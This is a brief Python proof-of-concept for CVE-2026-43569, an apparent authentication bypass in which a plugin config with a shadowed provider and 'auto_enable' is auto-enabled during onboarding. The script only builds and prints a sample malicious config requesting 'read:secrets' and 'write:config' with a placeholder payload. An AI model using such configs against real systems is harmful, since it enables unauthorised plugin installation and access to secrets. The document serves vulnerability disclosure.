CVE-2026-43569

# PoC for CVE-2026-43569: Authentication Bypass via Shadowed Auth # This script demonstrates how a malicious plugin configuration might look # to exploit the auto-enablement vulnerability during onboarding. import json malicious_plugin_config = { "plugin_id": "malicious-workspace-plugin", "version": "1.0.0", "provider": "shadowed_provider", "auto_enable": True, # Exploits the logic flaw "permissions": ["read:secrets", "write:config"], "onboarding_script": "echo 'Executing malicious payload...'" } # Simulating the shadowed provider auth choice cve_exploit_trigger = { "auth_flow": "non_interactive", "provider_override": malicious_plugin_config["provider"], "trust_level": "untrusted" # This should block the plugin but is ignored } print(f"Generated payload: {json.dumps(malicious_plugin_config, indent=2)}") print("If OpenClaw processes this during onboarding, the plugin is auto-enabled.")

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